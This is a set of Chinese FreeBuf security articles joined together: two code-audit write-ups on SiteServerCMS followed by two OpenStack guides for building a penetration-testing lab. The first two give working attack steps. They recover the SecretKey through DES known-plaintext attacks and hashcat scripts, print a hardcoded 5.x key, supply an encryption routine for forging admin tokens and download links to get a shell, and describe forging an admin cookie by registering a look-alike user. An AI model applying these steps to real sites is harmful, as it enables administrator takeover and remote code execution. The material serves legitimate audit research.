免责声明:本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

一、前言

加密和签名本着使数据更安全,但有时它们在一起的时候也会产生相反的效果。

多天前,SiteServerCMS官方Github在7.x版本的一个commit更新了securityKey的生成算法:

https://github.com/siteserver/cms/commit/1bbdc5fc8f6a8755d10954f72ad9e3970035a97e

增加了securityKey的长度,之前是16字节的0-f字符串,直接暴破16字节的密钥还是比较难的。

但,如果使用不当,就会使原本具有一定强度的密钥变弱,大大的降低攻击成本,可以在短时间内计算出来。

接着上一篇《代码审计 | SiteServerCMS身份认证机制》最后一个问题继续探讨一下密钥攻击。

二、JWT 和 DES

在往下之前先回顾一下JWT和DES CBC模式。

2.1 JWT

JSON Web Token(JWT)是一个开放标准,通常用于信息交换,其令牌结构由三部分组成:

Header,头部,一般是标明使用的算法类型;

Payload,有效载荷,一般是要交互的数据;

Signature,签名,一般是数据的hash摘要。

各部分由点(.)号进行分隔,格式如下:

Header.Payload.Signature

2.2 DES

DES算法的密钥为8字节,其密文分组链接模式(Cipher Block Chaining, CBC)特点是首先将明文分组与前一个密文分组(第一组与初始向量IV)进行XOR运算,然后进行加密,如图:

《图解密码技术(第3版)》

三、弱密钥攻击

上一篇讲到SecretKey是由GetShortGuid()生成的16字节0-f小写的字符串,由于DES加密和JWT签名哈希都是使用同一密钥SecretKey进行计算,这导致可以将16字节的密钥拆成2个8字节字符串进行本地爆破。

3.1 获取DES密钥

SiteServerCMS使用的是DES CBC模式的加密算法,已知固定IV:

byte[] iv = { 0×12, 0×34, 0×56, 0×78, 0×90, 0xAB, 0xCD, 0xEF };

那么,我们就可以有:

 加密中间数据 = 明文 XOR IV

如果能找到一组明文和密文对应组,就可以进行已知明文攻击,爆破8字节密钥Key。

举个例子,登录验证码是经过DES加密的,查看Cookie我们就可以得到一组明文和对应的一组密文:

前台: http://10.250.0.3:8062/home/pages/login.html
后台: http://10.250.0.3:8062/SiteServer/pageLogin.cshtml

pM44 : tiUDU5G1PJE0equals00secret0
from siteservercms_v6 import *

def bxor(b1, b2): # bytes
    result = bytearray()
    for b1, b2 in zip(b1, b2):
        result.append(b1 ^ b2)
    return result

def get_keya(ct, pt, iv):
    # 第一组密文,8字节
    st = base64.b64decode(b64_de_replace(ct)).hex()[:16]   

    # 第一组明文 XOR IV
    md = bxor(pt, iv).hex()

    print('hashcat -m 14000 {}:{} -a 3 "?h?h?h?h?h?h?h?h" --force'.format(st, md))

pt = b'pM44' + b'\x04' * 4  # 验证码,PKCS7填充
ct = 'tiUDU5G1PJE0equals00secret0'
iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF'

get_keya(ct, pt , iv)

运行直接获取 hashcat 脚本:

hashcat -m 14000 b625035391b53c91:6279624c94afc9eb -a 3 "?h?h?h?h?h?h?h?h" --force

b625035391b53c91:6279624c94afc9eb:d78e2f50

8字节字符串基本是秒破,这里获取8字节密钥的只是等效密钥,有可能并不是真正的密钥,对于6.0以下版本足够拿去直接Getshell了,但对于6.x版本来说,还差后8字节密钥才能去干点什么。

由于DES密钥有效比特位是56位,有8位是校验位。这时,需要计算等效密钥的所有可能性,那样就会有多组DES密钥,由于字符串是由0-f组成,那么就会出现32组、64组、128组…都是等效的情况,这跟随机出来的密钥有关,最坏的情况是2^8=256组。

# 获取等效密钥组
def get_key_list(key): 
    result = [key]
    for i in range(len(key)):
        for k in result:
            t = list(k)
            s = chr(ord(t[i]) ^ 1)
            if s in '1234567890abcdef':
                t[i] = s
                n = ''.join(t)
                if n not in result:
                    result.append(n)

    return result

keya = 'd78e2f50' 
print(get_key_list(keya))

拿前面获取的Key计算一下,人品不行,有128组:

['d78e2f50', 'e78e2f50', 'd68e2f50', 'e68e2f50', 'd79e2f50', 'e79e2f50', 'd69e2f50', 'e69e2f50', 'd78d2f50', 'e78d2f50', 'd68d2f50', 'e68d2f50', 'd79d2f50', 'e79d2f50', 'd69d2f50', 'e69d2f50', 'd78e3f50', 'e78e3f50', 'd68e3f50', 'e68e3f50', 'd79e3f50', 'e79e3f50', 'd69e3f50', 'e69e3f50', 'd78d3f50', 'e78d3f50', 'd68d3f50', 'e68d3f50', 'd79d3f50', 'e79d3f50', 'd69d3f50', 'e69d3f50', 'd78e2f40', 'e78e2f40', 'd68e2f40', 'e68e2f40', 'd79e2f40', 'e79e2f40', 'd69e2f40', 'e69e2f40', 'd78d2f40', 'e78d2f40', 'd68d2f40', 'e68d2f40', 'd79d2f40', 'e79d2f40', 'd69d2f40', 'e69d2f40', 'd78e3f40', 'e78e3f40', 'd68e3f40', 'e68e3f40', 'd79e3f40', 'e79e3f40', 'd69e3f40', 'e69e3f40', 'd78d3f40', 'e78d3f40', 'd68d3f40', 'e68d3f40', 'd79d3f40', 'e79d3f40', 'd69d3f40', 'e69d3f40', 'd78e2f51', 'e78e2f51', 'd68e2f51', 'e68e2f51', 'd79e2f51', 'e79e2f51', 'd69e2f51', 'e69e2f51', 'd78d2f51', 'e78d2f51', 'd68d2f51', 'e68d2f51', 'd79d2f51', 'e79d2f51', 'd69d2f51', 'e69d2f51', 'd78e3f51', 'e78e3f51', 'd68e3f51', 'e68e3f51', 'd79e3f51', 'e79e3f51', 'd69e3f51', 'e69e3f51', 'd78d3f51', 'e78d3f51', 'd68d3f51', 'e68d3f51', 'd79d3f51', 'e79d3f51', 'd69d3f51', 'e69d3f51', 'd78e2f41', 'e78e2f41', 'd68e2f41', 'e68e2f41', 'd79e2f41', 'e79e2f41', 'd69e2f41', 'e69e2f41', 'd78d2f41', 'e78d2f41', 'd68d2f41', 'e68d2f41', 'd79d2f41', 'e79d2f41', 'd69d2f41', 'e69d2f41', 'd78e3f41', 'e78e3f41', 'd68e3f41', 'e68e3f41', 'd79e3f41', 'e79e3f41', 'd69e3f41', 'e69e3f41', 'd78d3f41', 'e78d3f41', 'd68d3f41', 'e68d3f41', 'd79d3f41', 'e79d3f41', 'd69d3f41', 'e69d3f41']

3.2 获取JWT密钥

还剩下8字节密钥,直接拿等效密钥组进行拼接循环爆破即可获得JWT 16字节的签名密钥`SecretKey`,那爆破如何验证密钥后面8字节的正确性?

上篇讲到,SiteServerCMS JWT的格式:

{"typ":"JWT","alg":"HS256"}.{"UserId":1,"UserName":"admin","ExpiresAt":"\/Date(时间戳))\/"}.哈希摘要

accessToken的格式:

算法类型 + 认证信息 + 哈希摘要
Base64UrlEncode(headerBytes) + "." + Base64UrlEncode(payloadBytes) + "." + Base64UrlEncode(signature)

我们只需要去前台随便注册一个用户,然后登录获取用户Cookie中的SS-USER-TOKEN

SS-USER-TOKEN : miwSyMrZkrJd0slash0y2v1vmYi2SQmsVxvzJm2kyerBmpzHqZvyr2mFCONEeBNiQmnHvAB0slash091aIXgky0uXXLo2mhhNpwfOLC0add03CxWLOxagungkttJcTIxPKgUosbkNGNoXUD5gUf70add0z6pJBihGUowi8xxOLmsdzk8PMjzeQ1zpNWvkyBqc00slash0Igtyzw90slash0aQD1eT3ZMaZIJl1Sccue7vUlJt4ZIRxflikVgHi0slash0muAjrEACajO80equals00secret0

由于JWT头部分是固定的,前面获取hashcat脚本也可以通过accessToken直接获取:

pt = bytes('eyJ0eXAi', 'ASCII')  # 'eyJ0eXAi' = base64('{"typ"')
ct = SS-USER-TOKEN

get_des_hashcat_str(ct, pt , iv)

接下来我们需要获取签名的哈希摘要字符串,一个可以从未加密的SS-USER-TOKEN-CLIENT里获取,另一个可以从加密的SS-USER-TOKEN里获取(拿前面获取的等效密钥解密):

from siteservercms_v6 import *

ct = SS-USER-TOKEN
keya = 'd78e2f50'
ss_at = decrypt(ct, keya, iv).split('.')
st_hmac = base64_url_decode(ss_at[2]).hex()
print(st_hmac)

获取得到签名哈希摘要:

1db8dd410455cf1de31f24b57bc60a81298fe346005b11953733a12a3a06c618

然后就可以通过前面的等效密钥组生成hashcat爆破脚本:

def get_keyb(ct, keya, iv):
    keyb_list = get_key_list(keya)

    ss_at = decrypt(ct, keya, iv).split('.')

    ss_pt = ss_at[0] + '.' + ss_at[1]
    st_hmac = base64_url_decode(ss_at[2]).hex()

    with open('keyb.sh', 'wt') as fs:
        for k in keyb_list:
            hs = 'hashcat -m 1450 {}:{} -a 3 "{}?h?h?h?h?h?h?h?h" --force{}'.format(st_hmac, ss_pt, k, "\n")
            fs.write(hs)
    print('$ bash keyb.sh')

ct = SS-USER-TOKEN
keya = 'd78e2f50'
iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF'
get_keyb(ct, keya, iv)

采用生成一个Shell脚本的方式进行批量破解,由于hashcat破解成功会自动跳过后面的脚本,不必担心成功后还做无用计算。

也可以采用字典+掩码模式,测试发现掩码右拼接的速度比左拼接的速度慢很多,比单条计算也慢很多,不知啥原因。。。

with open('keyb.txt', 'wt') as fs:
    for k in keyb_list:
        fs.write("{}\r\n".format(k))
print('hashcat -m 1450 {}:{} -a 6 key2.txt "?h?h?h?h?h?h?h?h" --force'.format(st_hmac, ss_pt))

最终采用Shell脚本单条依次计算的方式,执行完会在当前目录生存成一个keyb.sh的脚本文件,跑就是了:

$ bash keyb.sh

由于需要大量hash的计算,这里的计算稍微会比较慢,我这渣渣笔记本跑完一组密钥组合要3~5分钟左右,128组大概就是 128 * 4 = 512分钟, 这也是拼人品的,如果正确密钥比较靠前,几分钟就出来,如果比较靠后,估计跑完也要10来小时。

计算快慢除了人品,还跟配置有关,一般的电脑如果死磕一个晚上也差不多出来了。

这里就不做演示了,直接去网站配置文件确认一下密钥前8字节在不在生成的等效密钥组里:

python3 test.py | grep --color d68d2f41

跑完直接查看结果:

$ cat ~/.hashcat/hashcat.potfile 
b625035391b53c91:6279624c94afc9eb:d78e2f50
1db8dd410455cf1de31f24b57bc60a81298fe346005b11953733a12a3a06c618:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJVc2VySWQiOjEsIlVzZXJOYW1lIjoidGVzdCIsIkV4cGlyZXNBdCI6IlwvRGF0ZSgxNTg4MDQ1NjcxMzkyKVwvIn0:d68d2f41d7497659

拿到了16字节的密钥,根据上一篇操作,就可以直接get_access_token伪造管理员登录后台进行Getshell。

四、最后

虽然攻击成本有点高,需要点时间计算,但利用条件低。获取密钥后进一步攻击后台的成功率也高,一般UID为1的用户名是admin或siteserver,如果不是,只需要UID和UNAME进行交叉遍历即可。

*本文作者:zrools,转载请注明来自FreeBuf.COM

一、前言

SiteServerCMS是一款开源免费的企业级CMS系统,功能比较丰富,代码一多起来,难免会有些漏洞产生,之前应急响应碰到过几次这个系统,有些问题修复了,有些问题依然还在,趁着整理之前零散的资料,结合6.14.0版本写个总结。

SiteServerCMS有多种身份认证方式,这里以最常见的Cookie认证来展开分析:

官网: https://www.siteserver.cn/

Github: https://github.com/siteserver/cms/releases

二、身份认证

2.1 登录框

从何说起呢?渗透,经常开局就只有一个登录框,有时还有验证码,那就从登录框开始吧,SiteServerCMS是后台管理+前台内容(含会员)的前后分离模式,各有独立的登录地址,先从后台登录开始,默认后台登录地址是:

http://IP:Port/SiteServer/pageLogin.cshtml

随便输入个用户名和密码登录查看数据包,通过JSON格式提交到了/api/v1/administrators/actions/login,进入脱发模式,打开源码跟进,位置:

源文件: ./SiteServer.Web/Controllers/V1/AdministratorsController.cs

登录失败次数+1,出局。

2.2 Cookie & accessToken

使用正确的用户名密码登录,登录成功后,会生成一个accessToken的字符串,这个accessToken是作为Cookie身份认证用的:

var accessToken = request.AdminLogin(adminInfo.UserName, isAutoLogin);

不信且看,走进AdminLogin(),跟进accessToken生成过程:

var accessToken = AdminApi.Instance.GetAccessToken(adminInfo.Id, adminInfo.UserName, expiresAt);

源文件: ./SiteServer.CMS/Core/AuthenticatedRequest.cs

SiteServerCMS有多种身份认证方式,这里的Constants.AuthKeyAdminCookie对应的是Cookie命名份格式: SS+名称,规则如下:

源文件: ./SiteServer.Utils/Constants.cs

public const string AuthKeyUserHeader = "X-SS-USER-TOKEN";
public const string AuthKeyUserCookie = "SS-USER-TOKEN";
public const string AuthKeyUserQuery = "userToken";
public const string AuthKeyAdminHeader = "X-SS-ADMIN-TOKEN";
public const string AuthKeyAdminCookie = "SS-ADMIN-TOKEN";
public const string AuthKeyAdminQuery = "adminToken";
public const string AuthKeyApiHeader = "X-SS-API-KEY";
public const string AuthKeyApiCookie = "SS-API-KEY";
public const string AuthKeyApiQuery = "apiKey";
public const int AccessTokenExpireDays = 7;
public static string GetSessionIdCacheKey(int userId)
{
    return $"SESSION-ID-{userId}";
}

回来继续跟进GetAccessToken():

源文件: ./SiteServer.CMS/Plugin/Apis/AdminApi.cs

又回来了,继续回到上一个文件,找到那个GetAccessToken():

还记得第三个参数类型是什么吗? 突然冒出来的WebConfigUtils.SecretKey是什么?JwtHashAlgorithm.HS256又是什么鬼?为了避免篇幅太长:

WebConfigUtils.SecretKey: 加密密钥,圈起来,要考的;

JwtHashAlgorithm.HS256: Hash算法模式,知道就行了。

继续跟进JsonWebToken.Encode(),直接跳过中间的方法到最后一个Encode():

源文件: ./SiteServer.Utils/Auth/JWT.cs

这里的参数对应关系:

payload对应userToken;

key对应WebConfigUtils.SecretKey;

algorithm对应JwtHashAlgorithm.HS256。

然后整个accessToken生成格式为:

算法类型 + 认证信息 + 哈希摘要
Base64UrlEncode(headerBytes) + "." + Base64UrlEncode(payloadBytes) + "." + Base64UrlEncode(signature)

明文格式大致像这样:

{"typ":"JWT","alg":"HS256"}.{"UserId":1,"UserName":"admin","ExpiresAt":"\/Date(1583293343684)\/"}.哈希摘要

accessToken生成完了,看完头发掉了不少,有什么用?

2.3 加密 & 解密

暂时还派不上用场,现在我要讲另一件事:加密与解密。

且回到AdminLogin(),登录成功后会将accessToken通过Cookie返回客户端:

CookieUtils.SetCookie(Constants.AuthKeyAdminCookie, accessToken);

这里暂时不去理会是否isAutoLogin,捡简单的,跟进SetCookie():

源文件: ./SiteServer.Utils/CookieUtils.cs

注意这里有一个很关键的参数isEncrypt,缺省值是true,默认都是启用的:

加密: TranslateUtils.EncryptStringBySecretKey()

解密: TranslateUtils.DecryptStringBySecretKey()

且看EncryptStringBySecretKey():

源文件: ./SiteServer.Utils/TranslateUtils.cs

加密后将在字符串中的+、=、&、?、\特殊符号用0***0代替,解密前则反过来操作,然而那个SecretKey又出现了,它保存在根目录的Web.config中的appSettings节点下,是加解密的密钥,它的初始化是这样的:

源文件: ./SiteServer.Utils/WebConfigUtils.cs

SecretKey = StringUtils.GetShortGuid();,一个16位字符串的UID,类是:6f2bc5f951826267,注意一下150行被注释掉的SecretKey值。

回到正题,跟进encryptor.DesEncrypt()加密过程:

源文件: ./SiteServer.Utils/Auth/DesEncryptor.cs

使用DES加密,没有指定加密模式(.Net默认是CBC模式,是不是又想到了什么?),密钥从16位减到8位(是不是又有人想着爆破了?),加密解密iv都是固定值:

byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };

现在来梳理一下accessToken的加密过程:

accessToken -> EncryptStringBySecretKey() -> ToBase64String() -> Replace()

用正确密码登录成功Cookie则返回像下图这么一串东西,下面为未加密的accessToken:

冒着掉头发的风险又看了一大截,居然说登录还是要正确的密码? 骗子。。。

2.4 Cookie 认证

还没讲完,那后端是如何通过Cookie认证呢?一般都会在控制器看到这么写判断是否有权限:

var AuthRequest = new AuthenticatedRequest();
if (!AuthRequest.IsAdminLoggin) return;

以管理员登录为例,首先从Cookie中获取accessToken,获取流程如下:

源文件: ./SiteServer.CMS/Core/AuthenticatedRequest.cs

从GetCookie()取出后,同文件AuthenticatedRequest():

从AdminToken中获取信息做判断,还记得AdminLogin中也有个IsAdminLoggin = true;吗?

至此,通过Cookie身份认证部分讲得差不多了,普通用户的认证方式与管理员的类似,不重复了。

三、漏洞回顾

看起来好像没什么问题呀?一般,进入正题之前,都要先讲讲历史,如果网上搜索siteserver+漏洞关键词,你会看到模板远程GetShell、XSS/抓包绕过后台、挂马挖矿…等相关内容,而导致这些漏洞产生大多跟加密密钥泄露有关,这里分5.0版本前后,5.0版本之前可能没有源码,可以把.dll丢到dnSky里反编译

3.1 文件远程下载

在讲历史之前,我先讲一个和密钥(SecretKey)有关的故事,在以前的版本,有些管理接口可能是为方便,可以匿名访问,身份认证仅依赖于系统的加密字符串,还是以v6.14.0为例,看文件:

源文件: ./SiteServer.BackgroundPages/Ajax/AjaxOtherService.cs

这个AJAX请求地址就是不需要权限的,而远程文件下载地址要求是加密字符串,不然没法使用,好了,故事讲完了。

3.2 密钥 Key

在 5.0 版本之前

这里为什么要把5.0版本作为分界线呢? 因为5.0版本之前,密钥(Cipherkey)是存在数据库的,它存在一张bairong_Config表的SettingsXML字段里,生成算法如下:

一个8位随机字符串,IV也是写在源码里:

byte[] rgbIV = new byte[] { 18, 52, 86, 120, 144, 171, 205, 239 };

我们知道之前的某些版本是存在SQL注入的,利用SQL注入读取这个字段获取Cipherkey,然后就可以在加密下载链接,配合远程文件下载达到GetShell的目的。

1.x和2.x这种上古版本,年代久远就直接忽略了。

在 5.0 版本之后

5.0版本之后的secretKey是存在文件里的,其中5.x版本是存在:

源文件: ./SiteFiles/Configuration/Configuration.config

secretKey是 硬编码固定值: vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5

而6.0之后secretKey保存在Web根目录的Web.config里(随机生成),IV和5.x一样硬编码在源码里:

byte[] iv = { 0×12, 0×34, 0×56, 0×78, 0×90, 0xAB, 0xCD, 0xEF };

有了secretKey和IV就可以本地去加密数据,然后远程下载文件GetShell计算管理员accessToken登录后台,加密算法python3实现:

def encrypt(msg, key, iv):
    pad = 8 - len(msg) % 8
    for i in range(pad):
        msg = msg + chr(pad)
    obj = DES.new(key, DES.MODE_CBC, iv)
    buf = obj.encrypt(msg)
    txt = base64.b64encode(buf).decode()
    txt = txt.replace('+','0add0').replace('=','0equals0').replace('&','0and0')
    txt = txt.replace('?','0question0').replace("'",'0quote0').replace('/','0slash0')
    txt = txt + '0secret0'  # v6.x

注意: 这里讲的版本划分只是大概版本,具体是哪个小版本开始是随机生成和改变存储位置,有兴趣的自个查一下。

3.3 Cookie 构造

前面讲到5.x版本密钥是固定的,可以用密钥构造Cookie直接登录后台,比如:CNVD-2018-00712,这里不展开说了,那有没有不用密钥的呢?

开始是从登录框说起,那么就以登录框结束吧,我再讲二分钟。。。一个不用获取密钥登录后台的栗子。

还记得前面的accessToken生成过程和Cookie身份认证中所用到的参数么?是不是都没有口令参数,都只用到了UserId和UserName?

还记得前面提到的前台和后台是分离的么?也就是管理员和会员各用一张数据表。

然而数据是加密的,有啥用?

注意到前面登录成功返回那数据包没有,UserId是整型递增的。

那么,在前台注册一个用户名与后台管理员用户名一样的用户,只要使其UserId和Username相等,是不是Cookie的关键信息是一样的。

我们来打开前台会员中心试一下:

http://192.168.56.5:801/home/pages/login.html

注册一个名为adzroolsmin用户,然后登录,查看Cookie:

SS-USER-TOKEN-CLIENT是没加密的,SS-USER-TOKEN是加密的,还记得前面发送Cookie时管理员的名称是什么了吗?SS-ADMIN-TOKEN,那么,我们直接修改一下,然后访问后台管理员页面(为什么不选择直接跳转控制台主页/SiteServer/main.cshtml?那是另一个故事了):

http://192.168.56.5:801/SiteServer/settings/admin.cshtml

直接跳进了后台管理页面,管理员ID往往是1,再多几个管理员也还是个位数,前台注册低位ID也是个迷,利用条件是不是很鸡肋,其实5.x版本里的accessToken是没有Userid这个字段的,然俄。。。

四、 最后

如今在身份鉴别模块能利用万能密码去登录的已不多见,更何况有着各种WAF,而今出现的身份鉴别模块的漏洞更倾向于逻辑类型,有时还需通过多种漏洞组合去利用。在平时做代码审计的时候往往需要耐心,也需要细心,很多时候两个看起来没什么问题的功能,遇到一起就擦出了火花,就像上面的Cookie构造里的栗子。

故事讲完了,下课,咱有缘再见。。。 -_-#

完整版脚本传送门: https://github.com/zrools/tools/tree/master/python

*本文原创作者:zrools,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:zrools,属于FreeBuf原创奖励计划,禁止转载。

0×00 概述

对一个沙箱环境而言,其中最重要的一点就是网络的隔离,OpenStack网络支持Flat、VLAN、VXLAN等模式,配合路由器和防火墙可轻松虚拟一个简单的企业网络。

0×01 网络环境

1.1 网络拓朴

不同网络区域首先得进行网络划分,主要包含三个区域:

  • 外网服务器区:为互联网提供服务,能访问互联网、内外服务器区,不能访问工作区域;
  • 内网服务器区:为外网服务器、工作区提供服务,不能访问互联网、外网服务器区、工作区;
  • 工作区:办公区域,各个部门间网络互通,可访问互联网、内网服务器区、外网服务器区。

这里使用172.16.x.0/24作为服务器区的IP段,10.0.x.0/24为工作区各部门的IP段,网络拓扑图如下:

网络拓扑图

注:这里网络、实例、路由器等名称统一使用小写。

1.2 公共网络

使用管理员登录Horizon,【管理员】-【网络】,这里会看见一个为public的网络,其IP段为172.24.4.225/28(有强迫的可以删掉),创建一个名为network_public的外部网络和一个IP地址池为192.168.20.100-200的子网。

有时外部网络和子网有在Web界面会创建失败,使用SSH登录到服务器使用命令创建:

[[email protected] ~]# source keystonerc_admin

[[email protected] ~(keystone_admin)]# neutron net-create network_public --router:external=True

[[email protected] ~(keystone_admin)]# neutron subnet-create --name subnet_public \
--enable_dhcp=False --allocation_pool start=192.168.20.100,end=192.168.20.200 \
--gateway=192.168.20.1 network_public 192.168.20.0/24

因为只有一张网卡,为了减少去配IP的麻烦,这里将浮动IP地址池(192.168.20.100-200)配到与服务器IP同一个段。

1.3 创建网络

【项目】-【网络】-【网络】,点击【创建网络】,会有三个选项:

  • 网络:配置网络名称;
  • 子网:配置子网IP、掩码、网关等信息;
  • 网络详情:配置IP地支持、DHCP、DNS等信息。

这里服务器区和办公区的网段都使用DHCP进行IP分配,分别创建以下网络:

创建网络

1.4 创建路由器

【项目】-【网络】-【路由器】,点击【创建路由器】,创建2个路由router_internalrouter_isp,其中router_isp选择外部网络network_public

 创建路由器

router_isp

点击router_isp进入该路由器,切换到【接口】项,分别添加2个接口172.16.0.1192.168.0.5

 创建路由器

再切换到【静态路由表】项,分别添加办公区和内网服务器区的静态路由:

 创建路由器

router_internal

点击router_internal进入该路由器,切换到【接口】项,分别添加以下连接接口:

 创建路由器

再切换到【静态路由表】项,添加一条缺省路由:

 创建路由器

0×02 创建实例

现在网络已经配置完,回到【项目】-【计算】-【实例】,点击右上角【启动实例】,按照拓朴选择对应网络分别创建以下实例:

创建实例

这里全部使用CentOS7的映像,创建完后,【项目】-【网络】-【网络拓朴】大概是这样:

【项目】-【网络】-【网络拓朴】

这时你会发现,所有实例之间都是能ping得通的,并没有想要之前设定的结果,这时就需要防火墙。

0×03 FwaaS

FwaaS(FireWall-as-a-Service),即防火墙服务,防火墙可以在路由器上做策略。

3.1 安装FwaaS

通过yum安装FwaaS:

# yum -y install openstack-neutron-fwaas

加载防火墙

service_plugins后面加上firewall

# vi /etc/neutron/neutron.conf

# The service plugins Neutron will use (list value)
#service_plugins =
service_plugins=router,metering,firewall

添加所需驱动程序:

# vi /etc/neutron/fwaas_driver.ini

# Name of the FWaaS Driver (string value)
driver = neutron.services.firewall.drivers.linux.iptables_fwaas.IptablesFwaasDriver

# Enable FWaaS (boolean value)
enabled = True

Horizonz中启用防火墙,修改enable_firewallTrue

# vi /etc/openstack-dashboard/local_settings

OPENSTACK_NEUTRON_NETWORK = {
    'enable_distributed_router': False,
    'enable_firewall': False,
    'enable_ha_router': False,
    'enable_lb': False,
    'enable_quotas': True,
    'enable_security_group': True,
    'enable_firewall': True,
    'enable_vpn': False,
    'profile_support': None,
}

将修改更新到数据库:

[[email protected] ~(keystone_admin)]# neutron-db-manage --config-file /etc/neutron/neutron.conf \
--config-file /etc/neutron/plugins/ml2/ml2_conf.ini upgrade head

重启Neutron服务:

# systemctl restart neutron-server

3.2 配置防火墙

重新登录Horizonz,在【项目】-【网络】下的菜单会添加【防火墙】这一项,切换到【防火墙规则】添加以下规则:

 配置防火墙

切换到【防火墙策略】,添加一条策略,并加入刚才配置的2条规则:

 配置防火墙

切换到【防火墙】,添加一条记录,选择刚才创建的策略,并关联router_internal路由器:

 配置防火墙

3.3 测试防火墙

在外网服务器区使用server_www(172.16.0.5)分别ping互联网、办公区、内网服务器区:

测试防火墙

在办公区使用it_pc1(10.0.10.3)分别ping互联网、外网服务器区、内网服务器区、人力资源部:

测试防火墙

在内网服务器区使用server_db(172.16.10.4)分别ping互联网、外网服务器区、办公区:

测试防火墙

网络隔离效果已经达到了设定要求。

0×04 网络映射

www_server(172.16.0.5)上启动httpd服务,监听80端口,现在要将该服务器的HTTP服务映射到“互联网”(192.168.20.100-200)。

4.1 关联浮动IP

【项目】-【计算】-【实例】,选择实例【操作】下拉菜单,选择管理浮动IP:

关联浮动IP

这时在实例列表【IP 地址】列会多出一个浮动IP192.168.20.101:

关联浮动IP

4.2 安全组

这时从外部还不能访问该服务器,需要在安全组添加入口规则放行,【项目】-【计算】-【访问 & 安全】新添加一条记录sg_public,然后添加一条规则:

安全组

现在访问http://192.168.20.101

安全组

至此,一个简单的虚拟网络环境已经建立起来,其中还存在很多安全上的问题,比如通过实例可以访问192.168.20.7上的服务,一个合适的渗透测试环境还需要逐渐去完善。

0×05 参考

*本文原创作者:zrools,属于FreeBuf原创奖励计划,禁止转载。

*本文原创作者:zrools,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00 概述

对从业渗透测试的人员来说,保持技能更新是非常重要的,而更新技能的过程中,需要大量的去学习、实践和总结,比较传统的学习方式是通过虚拟机安装靶机来练习,这种方式往往缺少一种真实渗透中的网络环境,而拿真实的网络来搞事往往会面临很对未知的风险,比如被查水表什么的。在工作中,有时候测试一个内网转发脚本、恶意程序或避免影响业务需要一个沙箱环境,目前比较常见的是使用GNS3(网络设备模拟器)+虚拟机来模拟网络环境,随着云计算技术的兴起,无疑给建立虚拟环境多了一种选择,通过虚拟技术,可以建立更加复杂的测试环境,甚至仿真一个企业网络以便测试各种攻击场景。

0×01 环境准备

1.1 OpenStack

OpenStack是一个快源的云计算管理平台项目,由组件组合完成具体工作,详细介绍见OpenStack官网。OpenStack的部署方式分为手动部署和自动化部署,自动化部署工具主要有packstackdevstackFuel等,这里使用packstack在单机+单网卡的环境进行一键部署。

1.2 服务器环境

  • 磁盘容量: >= 500GB
  • 内存容量: >= 32GB
  • 操作系统: CentOS-7-x86_64-Minimal-1611
  • 网卡数量: 1

1.3 网络配置

系统安装完后,先给服务器配置一个静态IP:

# vi /etc/sysconfig/network-scripts/ifcfg-em1

BOOTPROTO=static
ONBOOT=yes
IPADDR=192.168.20.7
GATEWAY=192.168.20.254
NETMASK=255.255.255.0
NDS1=8.8.8.8

这里我使用192.168.20.7作为服务器IP,保存重启网络:

# systemctl restart network.service

1.4 部署OpenStack

通过yum源进行安装packstack

# yum -y install centos-release-openstack-mitaka epel-release

# yum -y install openstack-packstack

使用packstack部署OpenStack:

# packstack --allinone

安装时间大概15~30分钟左右。

1.5 桥接网卡

使用packstack安装后,如果重启系统,虚拟网络会无法连接外部网络,这时需要创建一个虚拟网卡:

# vi /etc/sysconfig/network-scripts/ifcfg-br-ex

DEVICE=br-ex
DEVICETYPE=ovs
TYPE=OVSBridge
BOOTPROTO=static
IPADDR=192.168.20.7
NETMASK=255.255.255.0
GATEWAY=192.168.20.254
DNS1=8.8.8.8
ONBOOT=yes

默认安装缺省IP段是172.24.4.225/28,这里修改为192.168.20.7/24,保存,同时修改em1网卡配置为:

DEVICE=em1
TYPE=OVSPort
DEVICETYPE=ovs
OVS_BRIDGE=br-ex
ONBOOT=yes

保存,重启网络服务,不成功直接重启服务器。

0×02 实例与映像

OpenStack默认使用VirtIO来管理实例映像,默认直接上传ISO文件会识别不了磁盘,这时需要使用含VirtIO驱动的映像,镜像说明文档见:

https://docs.openstack.org/image-guide/obtain-images.html

这里统一制作qcow2格式的映像文件。

2.1 Linux qcow2映像

  • 手动制作

以制作Kali Linux为例,下载ISO文件kali-linux-light-2017.1-amd64.iso:

# qemu-img create -f qcow2 kali-linux-light-2017.1-amd64.qcow2 10G

# kvm -smp 1 -m 512 -cdrom kali-linux-light-2017.1-amd64.iso \
-drive if=virtio,file=kali-linux-light-2017.1-amd64.qcow2 \
-net nic,model=virtio -net user

然后就像正常一样安装系统,安装完直接关掉。

  • 官方的映像文件

有些Linux发行版官方提供现成映像文件,下载过来就可以直接使用:

# CentOS 7

http://cloud.centos.org/centos/7/images/CentOS-7-x86_64-GenericCloud.qcow2

# Debian 9

http://cdimage.debian.org/cdimage/openstack/current-9/debian-9-openstack-arm64.qcow2

由于官方的云镜像是没有提供密码的,这时需要修改root密码,password:冒号后边为密码:

# virt-customize -a CentOS-7-x86_64-GenericCloud.qcow2 --root-password password:toor

2.2 Windows qcow2映像

以Windows 2008 R2为例子,其他Win系统制作过程类似,由于Windows系统默认不带VirtIO驱动,先下载驱动程序:

生成映像文件:

# qemu-img create -f qcow2 Windows_2008_R2_x64.qcow2 20G
  • 安装系统

命令行启动安装:

# kvm -m 2048 -cdrom cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_x64_dvd_617598.iso \
-drive file=Windows_2008_R2_x64.qcow2,if=virtio,boot=on -fda virtio-win-0.1.140_amd64.vfd -boot d

手动加载驱动:【自定义(高级)】-【加载驱动程序】-【浏览】-【软盘驱动器】,选择对应操作系统版本选项,然后确定:

OpenStack:建立虚拟的渗透测试实验环境 - 安装篇

安装完后关机。

  • 安装网卡驱动

重新命令启动虚拟机:

# kvm -m 1024 -drive file=Windows_2008_R2_x64.qcow2,if=virtio,boot=on -cdrom virtio-win-0.1.140.iso \
-net nic,model=virtio -net user -boot c

找到【设备管理器】-【其他设备】-【以太网控制器】,右键更新驱动程序软件:

OpenStack:建立虚拟的渗透测试实验环境 - 安装篇

